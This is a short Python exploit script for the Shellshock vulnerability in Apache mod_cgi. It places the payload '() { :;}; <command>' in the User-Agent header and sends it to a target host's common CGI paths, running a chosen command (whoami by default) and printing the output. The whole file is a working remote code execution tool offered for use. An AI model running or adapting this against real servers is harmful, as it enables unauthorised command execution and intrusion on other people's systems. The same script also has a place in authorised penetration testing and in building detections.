#!/usr/bin/python
import argparse
import sys
import logging

try:
    import requests
except ImportError:
    print("Missing dependency requests: <https://requests.readthedocs.io/en/master/>. Please install it with `pip install requests`.")
    sys.exit(1)


# defines the log format
LOG_FORMAT = "%(asctime)s.%(msecs)03d - %(levelname)s - %(message)s"
DATE_FORMAT = "%m/%d/%Y %H:%M:%S"
logging.basicConfig(filename='my.log', level=logging.INFO, format=LOG_FORMAT, datefmt=DATE_FORMAT)


def http_request_sender(url,header,data,method,timeout):
    logging.info("sending http {method} request to {url} with header {header}, data {data}".format(method=method,url=url,header=str(header),data=str(data)))
    if method == 'post':
        r = requests.post(url,headers=header,data=data,timeout=timeout)
    else:
        r = requests.get(url,headers=header,data=data,timeout=timeout)
    logging.info("received http response of data: "+r.text)
    return r


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Shellshock apache mod_cgi remote exploit emulation")
    parser.add_argument("-rhost", help="target host name or ip", required=True)
    parser.add_argument("-rport", type=int, default=80, help="target host port, default is 80", required=False)
    parser.add_argument("-pages", help="specific cgi uri, separated by comma(optional)", required=False)
    parser.add_argument("-command", help="specific command to execute, default is `whoami`", required=False, default="whoami")
    parser.add_argument("-t", type=int, default=3, help="timeout for exploitation, default is 3", required=False)
    args = parser.parse_args()

    if args.pages:
        pages = args.pages.split(",")
    else:
        pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
    
    rhost = args.rhost
    rport = args.rport
    command = args.command
    timeout = args.t
    payload = "() {{ :;}}; {command}".format(command=command)
    headers = {"User-Agent":payload}

    for page in pages:
        print("Trying exploit on page: "+page)
        url = "http://{rhost}:{rport}/{page}".format(rhost=rhost,rport=rport,page=page)
        try:
            r = http_request_sender(url,headers,None,"get",timeout)
            print(r.text)
        except:
            print("Failed on "+url)